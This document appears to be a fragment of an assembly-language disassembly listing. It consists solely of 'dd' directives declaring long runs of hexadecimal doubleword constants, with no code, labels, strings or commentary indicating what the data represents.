		dd 0DF1C327Fh, 3E7251E0h, 8600FD61h, 4B52B9CAh,	125B1EACh
		dd 12FABF67h, 6D520D42h, 108D043Eh, 0E9C0CD25h,	20792619h
		dd 4C051F00h, 0CA34382Ch, 0B3D008Ch, 0F41AE482h, 0C8EC695Ch
		dd 5EE07703h, 0F014B50Eh, 8F56F0h, 0F66111A8h, 62D1C010h
		dd 3A00F8F8h, 0BF29E922h, 54DD44h, 0B6B55821h, 100B0590h
		dd 81178430h, 0C00DEA61h, 0FCA4EF0Dh, 0DC01C3DDh, 7C72E781h
		dd 113076F5h, 8C6250F8h, 9A5A403h, 5EA848Dh, 82DF3A02h
		dd 0C3958061h, 3080EA86h, 4B0664BFh, 22EA6609h,	0FC400015h
		dd 3753E679h, 63010FC0h, 0FAF53FCBh, 326481EAh,	68E9004Bh
		dd 0B846BB3h, 200E1F0h,	21FB6F9Bh, 1D5B269h, 0D1192D32h
		dd 0D31E104Bh, 0BE09C6C1h, 0E7930008h, 0F14C03E6h, 0B77896h
		dd 0F81F4B97h, 396CF3EDh, 0E1AFD000h, 9538E201h, 39DF19h
		dd 92FEA9DEh, 2B015C4Ch, 0A7D3D70Ah, 9FDBB54Dh,	367C6CC1h
		dd 274B188Ch, 0BC287739h, 8C00DE0Dh, 2D5B155Ah,	0A5D48Eh
		dd 400E949Ch, 18A18D1Fh, 1AD931C0h, 0F2111705h,	207C3064h
		dd 9089D850h, 430C4C18h, 6713510h, 0AE31B4FDh, 900CA11Fh
		dd 201DB854h, 0DC63002h, 814D0519h, 7226DC07h, 0E04F2CA6h
		dd 96219A3Ah, 418501A2h, 909BC416h, 932CD4D5h, 0B8A0D754h
		dd 0FD05BF12h, 59A89D00h, 7C99AC09h, 33450048h,	517151Ah
		dd 31C0DDB0h, 3C880DCEh, 0FC140EC3h, 87404197h,	34F35A75h
		dd 4011A531h, 0B006E304h, 2C16B220h, 30DDC1ABh,	0C7B83918h
		dd 0C0195528h, 78414E1Dh, 7002E82Ah, 0F4A3A997h, 35BB10C5h
		dd 0BA36C000h, 74AC02EDh, 1EF61E7Bh, 0C466C0F9h, 0A5DB0192h
		dd 33789414h, 795200B8h, 0E6D2A138h, 77FD2810h,	0AD170030h
		dd 0AA354DD9h, 3B609064h, 0A431F130h, 9C08C1A9h, 61C05AD6h
		dd 11A1B92Ch, 0BF1C4778h, 0F9A7402Fh, 0D51203D9h, 0B26EC903h
		dd 0E174EFBEh, 0B0D48A16h, 912B158Fh, 0DE099CD9h, 262EB9h
		dd 4344504Dh, 2E0A75C6h, 53083Eh, 0F417D3A2h, 93FE763Ch
		dd 4363924h, 412B4B8Ch,	416F0089h, 0FCDDE15Fh, 0F001E48Ah
		dd 180E6782h, 84438E15h, 5C01BC44h, 83107DA0h, 0A86C26C8h
		dd 78181837h, 5E79812Dh, 8DC5BA00h, 33EB12B8h, 0AB747729h
		dd 0AC40CC3Ch, 49271776h, 0BFB6802h, 8FB338A2h,	0D8F120E8h
		dd 1F7C0A7h, 0F0DA8CA0h, 0D3FD30ABh, 0DC82A2FBh, 0A84C0848h
		dd 29D33C40h, 1909D2Bh,	7099ABF1h, 382880C5h, 409A243Ah
		dd 9410C3DEh, 90DC084Ch, 0D610A124h, 30DE7480h,	0A6A132AFh
		dd 2364286Ch, 89C1D2E0h, 15C4BFF1h, 4D80A00Bh, 82300C63h
		dd 0A97011D7h, 9BD5022h, 16C58DF0h, 0EB43820h, 841E6779h
		dd 83802AB6h, 28DF7DC2h, 487AE02Fh, 0C9109CA1h,	94DC04FCh
		dd 3C901D5Eh, 0C7E3ABA0h, 402C2D18h, 0ECFD7079h, 0AFD1E9C0h
		dd 80CE4CA1h, 92477A6h,	8E41B48Ah, 9CEC825Ah, 50446070h
		dd 1D607355h, 6239CB1Dh, 0ED2526C5h, 7AB08FC7h,	589F2h
		dd 0EC97EAD9h, 72C2C8A7h, 3D011F73h, 9C93EE25h,	0F0D3C6ADh
		dd 0E3F24A9h, 0C8524EA0h, 8125E6E7h, 0F07CF3C4h, 65006650h
		dd 61718F4Dh, 16AC2B2h,	0E81ECA1Fh, 0E0A3AE01h,	930092FDh
		dd 0F709EC74h, 43EDADh,	166082CAh, 1DF2B62Fh, 0F1B88E1Dh
		dd 0C63C8068h, 0DB620936h, 95100047h, 152E55A4h, 0BCEECCC2h
		dd 29B8DE04h, 884D0C19h, 48F1028Ah, 0F35C058h, 5492C048h
		dd 77824h, 15AF3105h, 5016D442h, 0ABACA039h, 80E404B9h
		dd 0E07D63F0h, 0CC8330C7h, 24705B81h, 0A0102022h, 541A12DEh
		dd 0A5312C21h, 6C39B433h, 0A0302720h, 8FD9A12Ch, 45C81858h
		dd 7453E0FAh, 81307830h, 0C0657A50h, 55126208h,	4D7A6BC3h
		dd 684CD831h, 9D003764h, 2A3FAB02h, 7102FEFCh, 0B084A635h
		dd 0B75C4848h, 104CB2EDh, 0CE9912Ch, 69467819h,	0B112002Ah
		dd 357E2039h, 7C006DEDh, 0C108E41Dh, 2936B82h, 0AC671136h
		dd 704890A1h, 0AE248874h, 5C26E868h, 757D2860h,	234F18F9h
		dd 0A61C7CE5h, 0B02FC91h
		dd 4AEAD4BAh, 395080DCh, 0D367A0h, 55AA994Ch, 744E164Dh
		dd 447190E8h, 8FE03F69h, 4556867Dh, 0F04B52B1h,	1B248500h
		dd 86AAED64h, 5DCAA100h, 0EB3A6DC3h, 0B4322C97h, 4094C574h
		dd 39ED6098h, 6F146D51h, 86F85C16h, 0F159AA31h,	0C83F530h
		dd 33469A2Bh, 0D3008420h, 0F3686152h, 2A5A3F7Fh, 44147466h
		dd 0A0145832h, 3AB816C9h, 0B4DE8CFDh, 60C659C1h, 0E92A611Eh
		dd 2014AA78h, 221431DEh, 0A7D513ADh, 60400998h,	98997829h
		dd 50FACC68h, 0E99A3000h, 0BD110987h, 0B3DE14D0h, 1422343Eh
		dd 91019A78h, 0C871DA0Dh, 0B4D4DDC7h, 528602B5h, 54160C77h
		dd 0BA2B8090h, 0D0DF6428h, 0A4D9DE40h, 28907D88h, 6CA010A0h
		dd 94A0319Ah, 1C907059h, 2CDAB05Ch, 1D24C6F8h, 40ADAA25h
		dd 9E82B18Bh, 49004BF4h, 125E3B72h, 7A437DA6h, 0C70EABCh
		dd 0BB18B20Ch, 5471DF80h, 32703D60h, 92B88406h,	2BF00668h
		dd 28B46CB2h, 0AF8DB4Ch, 90D09B2Ch, 0C5C98D83h,	0EA810011h
		dd 0AC6322C2h, 8E286DD7h, 4145B449h, 6400F063h,	0C0348F45h
		dd 9000ED5Fh, 5B7AE95Ch, 7E97BEC2h, 0ADF10643h,	78B068B9h
		dd 0F47CDCB0h, 0EEA5D380h, 0B83FF009h, 0A9AC09CCh, 1D051081h
		dd 1638339h, 0C13CD4FCh, 0BF6D37A4h, 0C0AA8B38h, 50482AD4h
		dd 0D142013Ch, 979252D2h, 0BC9DBF4h, 1519A858h,	5BE83821h
		dd 315C3554h, 10E6E138h, 6EF5C2Fh, 0C1B05A39h, 971D301Ch
		dd 715DBE50h, 0D10890AEh, 58A81504h, 0E82E7815h, 0DF1EB300h
		dd 0E8A5F591h, 6153DC0Ch, 41B4505Fh, 14883058h,	0D6334988h
		dd 67243039h, 15011191h, 22763D42h, 6705358h, 62D607B3h
		dd 0A239F5AEh, 74C82DB8h, 0AC208CA8h, 4BF00C15h, 2C48182Ah
		dd 2EE89052h, 0E4291484h, 2C50649Fh, 1E132413h,	4B30E2D8h
		dd 0F608931h, 409B0172h, 0BA33D36Bh, 0B05C3420h, 0F1B95260h
		dd 37942E05h, 6180245Ch, 60DB1ED4h, 0AC20C1E4h,	8B933EB2h
		dd 0EC233100h, 5BA1A6E7h, 0BC56F18h, 3E626E91h,	860037EBh
		dd 0DD3B5D10h, 0DF01654Ah, 0E72B94FCh, 473D375h, 57CC0D00h
		dd 58DCE31h, 69BB3400h,	0E0FEE1E4h, 64A80A3Bh, 9F884560h
		dd 395685h, 4616FF8Ch, 0EC004D7Eh, 81FE2B12h, 0F8E66188h
		dd 803D5558h, 4CA71C50h, 0AF84A83Ch, 0A6B60010h, 1FC94D0Ah
		dd 0EA1E980Eh, 0BBF1B5h, 0A3134E1Bh, 9A26B232h,	44089034h
		dd 3D604B49h, 33764849h, 7FE5036Ch, 38444A0h, 77AE2D98h
		dd 1E4C9F01h, 0AD31F152h, 0B115FC22h, 0B501E0DFh, 98275E45h
		dd 79BAF480h, 0FF0BF900h, 6C76AA07h, 72D4099Dh,	0C0645716h
		dd 83792660h, 7314Dh, 3FFE8D37h, 7DDABCBFh, 8C9C2B00h
		dd 0F1A6DB61h, 0DE34029Ah, 0D64E3672h, 8C8B3042h, 0C8109809h
		dd 4830651h, 0D5AFD010h, 12C60616h, 0BDB61DB1h,	0B4A50F1Ch
		dd 0F55B0C67h, 78D48258h, 0BFDB4C80h, 34033F93h, 81B87675h
		dd 3EADD0ABh, 57F10539h, 7076DA8h, 46BFD834h, 0AA1788EBh
		dd 0E8403C9Ch, 0ECB1AC89h, 63090C2h, 5FB85CA1h,	60828E6h
		dd 100CA894h, 0D608108Dh, 89E16075h, 59DA5AEDh,	0F3E30900h
		dd 0F2B38A3Eh, 336200FFh, 0FD230BD1h, 895C497Bh, 9ADE0CB3h
		dd 1F50C8D4h, 9374A965h, 0B150880Ah, 0DD59DE60h, 59E1D2h
		dd 56FAE7D8h, 0B00906C3h, 58F8A101h, 1CA443F0h,	14FCBC20h
		dd 0D4C8EDDBh, 0BA82E0C0h, 0E424FBD9h, 3B0089DEh, 0AAAD682Ah
		dd 1D180315h, 0B69CF732h, 768838h, 0AE286048h, 1D029AAh
		dd 9BF70535h, 70228B99h, 0DE40C834h, 39D50E96h,	0A5209853h
		dd 36799A6Fh, 0C108C530h, 2CA2E896h, 1332FF5h, 94BD2E65h
		dd 0B77BECB4h, 5B0167EEh, 5A517571h, 0DC2861A8h, 7DA1AE04h
		dd 0DE2080C1h, 20E9C0B7h, 0D0B1C480h, 88C87700h, 614E03h
		dd 0D3827ABBh, 0CFD9A99Ah, 0FC0804A7h, 2C2500A8h, 0ABEB87FBh
		dd 36426000h, 1BCCEABDh, 0CC8AEE34h, 976CD918h,	2140D86Fh
		dd 9EF9EF54h, 0CD30E771h, 58720083h, 17A3D528h,	937E402Fh
		dd 0DDFC3B18h, 37435C40h, 0C658B746h, 782068D8h, 2BE03B6Fh
		dd 273CDE20h, 0A7450067h, 0B5A52A58h, 0DFF43Bh,	840DF3E1h
		dd 1CA0D7E8h, 951B5418h, 782AF480h, 5D293328h, 81D86110h
		dd 0D600E01Ah, 0BEBC5807h, 0CEB926Eh, 25542651h, 0CE28C229h
		dd 0E90680AFh, 719FDB88h, 0AA610670h, 292864F2h, 0CA1E4600h
		dd 26A0D81Bh, 1F3775B1h, 0BDF48EF1h, 0B89BAC98h, 51F90862h
		dd 0F6438008h, 1648B481h, 0A41BCC6h, 0C0AA42DEh, 6259DB81h
		dd 8450402Ah, 60542E43h, 0B7C3792Dh, 2B305AEEh,	0A29A2144h
		dd 0AE0A454h, 3C2E7B08h, 14238518h, 5AD84136h, 91F1D671h
		dd 8200F670h, 7FB75CE9h, 0A339C528h, 6CD001EAh,	0B88EA984h
		dd 896ED088h, 0D207F802h, 81184893h, 0BDD800FDh, 0BECC58EEh
		dd 0F02FC15h, 0F4D90797h, 5498848Bh, 20464844h,	883E80A5h
		dd 4349D187h, 62090320h, 0A345BE73h, 8DC1A06Bh,	271B1D39h
		dd 0AA7241D7h, 8C9D3016h, 0C8DF9CB9h, 9B24889Eh, 2C06F6B8h
		dd 0D7EA5AA2h, 10C96260h, 90A7C354h, 0EB6BB041h, 2E2AA818h
		dd 0CA159C03h, 0A7289D0Fh, 1E187A2Fh, 0E9EC0128h, 24A819DBh
		dd 635980D4h, 0AB9F60DDh, 0AEDA3AD8h, 0AC1DC40Ah, 0E72780A0h
		dd 0EADFEC8Ch, 0DE400E53h, 0B40C9952h, 5A39ABh,	0AA24F7C2h
		dd 6AA0472Eh, 91CA5230h, 90F24AE6h, 0B0123244h,	3CB5AF31h
		dd 165BA285h, 0DBA0D442h, 91582A35h, 3421298Fh,	0C00B0551h
		dd 0C2FA239Dh, 0C4CB0FF2h, 0D1F8E62Fh, 7900E862h, 17AB24C7h
		dd 0A2380340h, 53BC3C48h, 0DEC34C31h, 610D3949h, 200CA995h
		dd 8CAAF803h, 86A40819h, 0DF2FA738h, 54185061h,	0E2084FFh
		dd 0F11B3BF3h, 0AE1F307Ah, 0C9982E71h, 8626B000h, 35FDDAA0h
		dd 15D11396h, 24181F8Fh, 0E08B0070h, 0A2A9E799h, 0E8DD552Ah
		dd 0AF3A480Fh, 8A209562h, 44EBC13h, 7882F507h, 609C49C2h
		dd 0F88D0880h, 53A9A308h, 1092A77Fh, 3DF02B4Dh,	43EBFA6h
		dd 8CCFE60h, 0B1170580h, 69C900FDh, 42F0B49Eh, 523BAC47h
		dd 0EA91000Ah, 152A5188h, 0B9DC006Ah, 65A63E71h, 3FE0C838h
		dd 83E5963Bh, 0D3663BCEh, 0E195C8ADh, 105401BBh, 8CEB8EE4h
		dd 68408207h, 76B8DEh, 1DBF38AFh, 0E5A51601h, 5DC5D27Bh
		dd 3E2D8480h, 0FF90F047h, 0DA8EDF00h, 0D71B5249h, 64F055h
		dd 0B9BD3E7Ch, 0C1DBEF3h, 0CE58A575h, 40FA970h,	1F895FBh
		dd 0B8F266A2h, 0D820161Fh, 0C7D70060h, 0F8C1C955h, 0ED01447Fh
		dd 0BCDBCD67h, 6CC04EEBh, 0DF610114h, 0B98CB2B3h, 1408065h
		dd 732C680Eh, 5D320045h, 4C2D64CCh, 5C009B56h, 4051E810h
		dd 37337ADh, 0B4BA6D12h, 65A03EBEh, 220B6ECh, 7545EE11h
		dd 0ADD500C9h, 0F94A3A2Dh, 0FB00FF5Bh, 444EEF7Fh, 71212Fh
		dd 8C7363BAh, 0B6019BB8h, 683B1E01h, 0CFFC6715h, 3831DFD5h
		dd 0C0AE944Bh, 0C2F9B9ACh, 96101204h, 3F5400EAh, 2DAED65Dh
		dd 9B4E3700h, 0BCE00F90h, 1887FDCh, 0D16A2274h,	60937CF7h
		dd 0B700F18Ch, 33A8CD08h, 0C7CEB1h, 2F2C867h, 4DA05C46h
		dd 66002FFEh, 7A4C5843h, 30D15F16h, 6740B2EBh, 0F40C0F3h
		dd 3B10019h, 0F2D45D35h, 0F7E242F8h, 24F46603h,	8044DCC1h
		dd 5F1220h, 927CB8C2h, 0CCF3B46Ch, 97CD1D00h, 35047217h
		dd 0F0D42C5Bh, 3D4D58Ch, 60A07750h, 3A80C238h, 61001896h
		dd 9856CDE1h, 20732DF0h, 8DE6F544h, 5247DD03h, 0B0AC1A6Eh
		dd 3F3E7DB8h, 0B70060A3h
		dd 33A11843h, 3D07D578h, 0F066D85Eh, 5AED0DB0h,	0C5250011h
		dd 7A4241EFh, 0DC0089F9h, 6C8DB163h, 0BFF264h, 28941A0Eh
		dd 73C54575h, 2DC19E0Eh, 5DAAE071h, 0C324FEh, 214088D8h
		dd 0B4D26F16h, 6D387600h, 1CB8F04Fh, 2CA11FCDh,	658A407Dh
		dd 5336B0D5h, 0AC9F0D2Ch, 5F01E111h, 0D15E1482h, 1B8849F9h
		dd 0AFB0FF04h, 72001F5Dh, 7B1D6585h, 0A0B594Bh,	0C9A94E64h
		dd 14805534h, 0B9755177h, 84E0098h, 494B7205h, 0BD77AFCCh
		dd 0E6781CAEh, 0D110C263h, 0F91900A3h, 9C37C4A0h, 1A05DD4Eh
		dd 5D19E6EFh, 0AA614EC0h, 0C881305Bh, 0EEB8AF41h, 4F462F05h
		dd 0FD86D545h, 21D76008h, 4BEEB08Dh, 0FAD2791Ch, 27FF3C41h
		dd 0E47C2354h, 25DB4001h, 83921A6Ch, 4C164810h,	0A9A0E8E7h
		dd 1BC60404h, 0A8A45834h, 19733A08h, 30382A59h,	5C00D06Dh
		dd 0E441F84Bh, 0DD15D7CCh, 881C9732h, 0D13717F9h, 0D4142584h
		dd 0AB01EE2Dh, 51B4188Eh, 602D3BDEh, 0E825A704h, 0C08104CEh
		dd 0A400F64Fh, 22686A95h, 0BE495205h, 8C3A32F8h, 5E01DD23h
		dd 99261707h, 0D088204Bh, 0CBAECEC0h, 57CD0E59h, 1AA0DC54h
		dd 0E34C2E5Bh, 91A88E51h, 33CB3C9h, 0DA01AD0Ah,	8AB9809Ch
		dd 5B6053DBh, 58A5BE0Ch, 0C0E6088Ch, 0DB921431h, 2D319134h
		dd 0F57758ADh, 8E93F0Ch, 95048CB0h, 736052DBh, 1720F162h
		dd 0DDB9Dh, 1184F699h, 9423CDEh, 0E1CD8130h, 1829B63h
		dd 0BEA4EEEBh, 81C73664h, 2C239078h, 0EC40CA10h, 7EA2FF7h
		dd 2252C0DDh, 9DCC624Fh, 6CB84480h, 3492FA06h, 29593807h
		dd 62C0A799h, 1E51B517h, 0C3BEC360h, 2C25FCAEh,	0D00D848Ah
		dd 0DB9030CEh, 8B605511h, 1A80F288h, 3B94DB98h,	23630038h
		dd 0F0AF6AE2h, 363032D8h, 27AA9892h, 9F4600ADh,	730A5845h
		dd 0D26ED464h, 0C0067178h, 31907632h, 412B5903h, 0A0C8A22Fh
		dd 0D9315736h, 18B9A041h, 57DB0896h, 0F0C47B60h, 0DB9E1840h
		dd 0A8027AC1h, 0C4C53A52h, 920FA27h, 0D2399B29h, 0C5A80C90h
		dd 95278E00h, 1BD817C9h, 0A0DF6A54h, 0EC467420h, 654AE800h
		dd 0B260435Ch, 6BBF4D04h, 38A928C4h, 53542004h,	0DF00D09Eh
		dd 4D00F79Ch, 6D1F2305h, 296EFE29h, 80942627h, 0DF5E258h
		dd 0BA70938Fh, 8071E36Fh, 965EC3CDh, 1CE9E95Fh,	41A572D8h
		dd 0B7800B5h, 85321E62h, 30AAD0AFh, 5011DB97h, 0E4888360h
		dd 0DB9F1980h, 1D40D8F3h, 4CC5E86Eh, 0ECDCC0A0h, 6DF4C0C1h
		dd 0E8207C95h, 9CD90C07h, 4979ADD2h, 0B8082E00h, 9EA30D20h
		dd 8156628h, 6A132195h,	0DC010826h, 0A4425260h,	1ADF0420h
		dd 0F883FF2Bh, 59017844h, 0F71B85E6h, 80DC423Fh, 9C92DFh
		dd 6939FEC8h, 87EA31B7h, 5B419F03h, 0C08A6579h,	18245CE6h
		dd 50D0BC1Ch, 0F8373260h, 5A706862h, 924D853h, 0B3902712h
		dd 0EF68F80Fh, 0AAA7CE0Fh, 4AB84F5h, 6C4478h, 267D6D51h
		dd 47C40D84h, 0ABD34902h, 4B9142DEh, 382E1840h,	4A62A0D1h
		dd 65A07E20h, 89A2112h,	31C09FACh, 4620B308h, 6962215h
		dd 83082969h, 0D2008E20h, 23735988h, 252B5AD7h,	74C8B906h
		dd 0AA419555h, 6C5EE002h, 0EEB304C8h, 62B74632h, 0AB8820CBh
		dd 37008CEEh, 0AC2E42F9h, 0BEDCA14h, 0F0046E3Fh, 0CE096804h
		dd 0C1E5882Ch, 0C54ABAA7h, 0D7A88295h, 5CBF7C1Bh, 81C218F8h
		dd 0AA0EF4F6h, 0B88A5493h, 869936D8h, 370AAC91h, 2380A49Bh
		dd 0AA60F9D3h, 0E74A45Fh, 4633EEB4h, 893C38B6h,	81EEAC03h
		dd 0D04B9233h, 0C7F05F4h, 0A2AE4262h, 14182370h, 5AA0AA4Ch
		dd 299D0108h, 2471F996h, 4E6425E6h, 0C0E588BCh,	136D2B0Bh
		dd 90258D09h, 0C62090D2h, 0DACE0041h, 9B0D322Eh, 814B4AF2h
		dd 302AF0CCh, 3BF9A2E6h, 0C67C8713h, 913FA501h,	0D3101C71h
		dd 0A012880h, 0E6837FCAh, 1604A097h, 4EA3904Fh,	0D334808Bh
		dd 71FACE4Ah, 0C0382C10h, 0D2328E04h, 0A9840192h, 0B448E727h
		dd 9A5300BAh, 0B5757195h, 656629C3h, 0A021F408h, 0F169A9Ah
		dd 0FEB3DC21h, 2881D249h, 3AE76D8Ch, 6F295C07h,	0AD8BF020h
		dd 7B54B808h, 0D40F5034h, 0DCC8261Eh, 468C2844h, 8320298h
		dd 1C2D20B4h, 82A6E00h,	77C2B304h, 1B93068Dh, 21A1D20Ch
		dd 7DF6401h, 8B2CABB8h,	0F2659CC8h, 71501766h, 88B004E5h
		dd 0C4D8019Bh, 5034BB1Dh, 1D52780Bh, 7BBA0FE4h,	0C8C4E28h
		dd 0D2081471h, 42249730h, 5D82EC0Ah, 507F5C20h,	90E74B00h
		dd 0F9B0DCE0h, 0A5D21018h, 0BA1391h, 140A29F2h,	951B0736h
		dd 94B0ABF4h, 88A6F1Fh,	489918Bh, 0F0816D98h, 0A0D29733h
		dd 0EE6E13B8h, 269202BBh, 27D341D9h, 825188A4h,	9130AC48h
		dd 605611DBh, 80ED8893h, 0C5DB991Bh, 6702DAA3h,	1F0874E6h
		dd 0C4044DA1h, 184560F0h, 2000B09Bh, 0A718A80Eh, 0DE79E11Dh
		dd 94C914Fh, 1430870Ch,	0E02824F1h, 6324B0C3h, 0D4241CF8h
		dd 1DF04674h, 0BD016340h, 0F1E7471Eh, 0D4217182h, 0DC815FC7h
		dd 2244B0D6h, 942238h, 82EF404Bh, 46AE51F4h, 69F0FF0Eh
		dd 0F84EE099h, 5D7C970h, 33EDC747h, 506F90h, 0CFDD4DCDh
		dd 2547F95Eh, 18857016h, 782482A8h, 6CC7AC25h, 5426B370h
		dd 30A74893h, 0ECE611h,	63AFA199h, 3BC56090h, 0EA809C46h
		dd 89EC051Bh, 7716646Bh, 84AAB80h, 0E937C46Fh, 4649E080h
		dd 89D0A0A1h, 4DC4B059h, 8A0C1033h, 7029D701h, 1D26EB00h
		dd 0F123A64Dh, 846E012Fh, 0DA526295h, 10E832AAh, 0E7CBB40h
		dd 5CA8B316h, 4FB0C6ECh, 8882934Eh, 28247432h, 229462Ch
		dd 71979A51h, 5A031C65h, 0BCBB9A59h, 0A6B82480h, 0BA1062C8h
		dd 26BC8129h, 26E3DA64h, 8E46E78h, 2B85D658h, 288CC1F6h
		dd 881D32Ch, 0C2C05994h, 464631EEh, 0D1225Fh, 59EEBA8Fh
		dd 90B56163h, 3F967D03h, 4A8E795h, 0EBFB31B1h, 267AC00Dh
		dd 7A000A92h, 833A1AA5h, 0FC42Bh, 849133E0h, 641659F2h
		dd 0A626C8E9h, 5A90B8D9h, 0EE09B718h, 6557462Eh, 0AF8C80C4h
		dd 0D6C0DFEEh, 0E73B3D0Ah, 2664B42Ah, 949A5260h, 116D7123h
		dd 5A5F01EEh, 0CF2409Ah, 9C45AFCDh, 0DDCC8Ch, 7C0E85A3h
		dd 0A40DEEB5h, 0E9B99607h, 2730F466h, 4C941E0Ch, 0A825E4C1h
		dd 0C1A3CC24h, 29BA2418h, 0B0A007Ch, 6AB5E7AFh,	7A4E0F09h
		dd 40C150E2h, 2329102Ch, 9B2B0070h, 0A3E7AEDAh,	0B03600FDh
		dd 38E40106h, 0C87AD330h, 46696502h, 42E2346Eh,	120087A0h
		dd 806F0048h, 2B3EAA28h, 0A6D40702h, 7EEEE80Dh,	67B18D84h
		dd 0D8A0AC29h, 0A143DE41h, 8AC81A6h, 0F801DC48h, 2921115Eh
		dd 5CD8CC30h, 0D1E8B069h, 0EDFD098Ch, 2F00962Dh, 0EA580AE8h
		dd 84166326h, 9962C40Bh, 804DA40h, 1809F88h, 6C49EE5Dh
		dd 45E83E83h, 4AC20972h, 0C4109E6Ah, 0E18BCFE4h, 1882458Ah
		dd 6AB12425h, 4F0EE200h, 9470C898h, 0A8F2AA85h,	9458C483h
		dd 0BE38602h, 812808AAh, 26425D7h, 0C4838A5h, 20BAF876h
		dd 4DF70008h, 0D226FE4h, 6B5901Eh, 75885C38h, 858280B2h
		dd 7292E313h, 5DE3440h,	4CA7D078h, 0CA813822h, 84B02652h
		dd 0D4743BD1h, 591794E4h, 3A9218C1h, 7F32324h, 4067B00Eh
		dd 8A2596C8h, 11D5412Ch, 29EBE60Ch, 908B7E88h, 0B87F07DAh
		dd 90DB34A7h, 835EBAC0h, 0C81A8600h, 5C1E45F2h,	2080A0D8h
		dd 0BBEB2844h, 4E808C8Ch, 0AD040064h, 0FA726045h, 8101A300h
		dd 2984FB36h, 1A690B5h,	46153178h, 83E6B826h, 0E744F238h
		dd 4E5001F8h, 55768C04h
		dd 0B95C2065h, 89B5621h, 0F900A348h, 6CA0B89Dh,	80C94D8Eh
		dd 0A9F28900h, 60D917C4h, 8D16420Ah, 46769CEAh,	0C7DA00F2h
		dd 240D1DEAh, 36ECA0DFh, 0EC8081ACh, 0A367E6B0h, 0C801FE31h
		dd 3FC8858Ah, 222019Ch,	0EC25A67Fh, 0FB9840B9h,	0A779C398h
		dd 0FCC96928h, 5040805Ah, 5AB2580Bh, 308EA47h, 9EAA3FFBh
		dd 20FED280h, 25D04102h, 64920344h, 2584698h, 4630EEC1h
		dd 60E8D167h, 4AEEB98Eh, 92080500h, 0C03040DEh,	99D7204Ch
		dd 28E14E16h, 62A29C80h, 78828ACDh, 2E00DE68h, 0B4BD0F4Ch
		dd 0C1248824h, 0AC3D808Ah, 4674E4A4h, 567E00D0h, 836FE89Dh
		dd 5A11167Ch, 425848B6h, 0A7733080h, 0B87ACF4Bh, 309D4A60h
		dd 0B9082F98h, 11052023h, 276B008Ch, 0D161DF08h, 45D20065h
		dd 372A940Bh, 3A0534DEh, 0FA4A6C26h, 46EEAC47h,	99B1683h
		dd 2475A610h, 586518E2h, 0D671C021h, 0C0F02C19h, 104EA289h
		dd 342B4DD2h, 9874FB7Bh, 0FD64001Dh, 40D85F71h,	18001077h
		dd 0D11EBBBDh, 0D857555h, 0D7EA886Bh, 0A1900031h, 6E16507Bh
		dd 3C20341Bh, 4A1DC4D4h, 2EF01D58h, 57380278h, 8C443262h
		dd 0DBE0BC90h, 9C6C5080h, 306549A4h, 0E660D164h, 690023E7h
		dd 2944C31Eh, 1E2A607Ah, 93C481B3h, 9904C808h, 11337E8Ch
		dd 882520B5h, 2B6F808Dh, 5127D408h, 85570200h, 87D267AFh
		dd 14092D6h, 0B5CCADB7h, 0F1E32A66h, 9719A515h,	80ED91DCh
		dd 48F56F95h, 0E0937984h, 0C3F91382h, 0E5C951Dh, 90C79Ch
		dd 59103641h, 0B0EF9D76h, 0C35344A4h, 0DF601410h, 15C6170Eh
		dd 1674A6FDh, 0CB7C9001h, 4C00C599h, 6A7BE748h,	14AC424Bh
		dd 81935C20h, 0B490D703h, 0B3E2DE60h, 690248C9h, 56B5003Ch
		dd 0FF71B91Ah, 0B80939A6h, 391D4F83h, 3FA03101h, 9948CC86h
		dd 0F1EA1070h, 6809112h, 0A968E662h, 28468C90h,	969A5002h
		dd 0EF315D71h, 9A586910h, 7A64F48h, 0FF296CFCh,	34722640h
		dd 3BC14F08h, 0E72314h,	2430B2F5h, 0E8B2B81Ch, 25D03158h
		dd 0E11489D4h, 6478F86Ch, 0AF64A288h, 51DB9460h, 966B602Dh
		dd 9C1600FCh, 0FB3110DBh, 0A305048Bh, 283E44CCh, 0BDA84881h
		dd 909F820h, 29A79C2Bh,	90322068h, 2560509Eh, 0B2B06DA8h
		dd 0B5810188h, 47406C38h, 1F7464BCh, 27CCA617h,	0C6D1A009h
		dd 0AE10734h, 0DBE42153h, 209E7019h, 0C040D0C8h, 8B6D5C32h
		dd 2AF47800h, 8516620Bh, 1559A90Bh, 0AB9804AFh,	3EDE3D4Eh
		dd 23EC2FCAh, 0FA873FD7h, 173192BCh, 8806B143h,	0A2D42389h
		dd 8BEB309Bh, 3A419802h, 0F8CB54EAh, 53BC823Ch,	3213D03Ch
		dd 6D360500h, 44A7FFF0h, 9F02140Fh, 0DA24ACD7h,	74F43CD0h
		dd 4F39C981h, 0A4E76824h, 740388F4h, 75C09EECh,	0ED0588B6h
		dd 0E57F0059h, 0F50D6DB0h, 0C5CF233h, 9CDC0B54h, 233CE0B3h
		dd 0BEDE0CD3h, 0DFE99FD1h, 3B55D401h, 6B730BB3h, 2C4C5E4h
		dd 5409C96Ah, 6079DB30h, 62E61080h, 2E3680CFh, 4A389682h
		dd 6F311608h, 951D0098h, 0A46CADCCh, 62FC050Fh,	0D29DCE52h
		dd 0ECFBF274h, 137D1570h, 53F5677h, 0D098E6DBh,	636B3674h
		dd 0E01BD709h, 0C44C0BB9h, 21AF38F8h, 0D12DE700h, 3487A2Fh
		dd 8F15F3FAh, 9898D2h, 915F24AAh, 4DDAFCh, 0D490F288h
		dd 0D94F111h, 520B3A00h, 0F85735F5h, 54AA2B60h,	0EEB50188h
		dd 3887462Ch, 0AD82B004h, 7D0C3AEEh, 8664AE84h,	9F3880F4h
		dd 152F3EBAh, 0FBD46291h, 0C1E973F4h, 11BC20ECh, 7C2C7213h
		dd 4281D4C7h, 2C29BFEAh, 56012A23h, 4D71909Ah, 5B88F518h
		dd 9A7F5Eh, 3721B7BEh, 0FC3D591Ch, 63A20E0Ch, 2F4181C9h
		dd 0F043A5E2h, 0C89C8FDDh, 0D88EC094h, 0E1345F9h, 0B8C1F190h
		dd 0CC242A6Ch, 0EDECA36Eh, 0A83CA4B1h, 38CE4BCh, 1E0C18A8h
		dd 6160EA40h, 82642681h, 10229799h, 8429F274h, 0A0505C94h
		dd 570A2B23h, 5516DC9Ah, 5C03BCCBh, 1A339A5Fh, 90C082B2h
		dd 4D39F761h, 0F30D7034h, 68E5246Dh, 80045CC2h,	305752CAh
		dd 0EB5C68A4h, 47D00B8h, 917E5D73h, 494C0269h, 0D8C9E416h
		dd 42ED5084h, 0F2682499h, 36521018h, 0CD9B26AAh, 0B4D1C313h
		dd 8B0C922Ah, 0E020AA41h, 0C54E17C4h, 0A8202026h, 9E522A64h
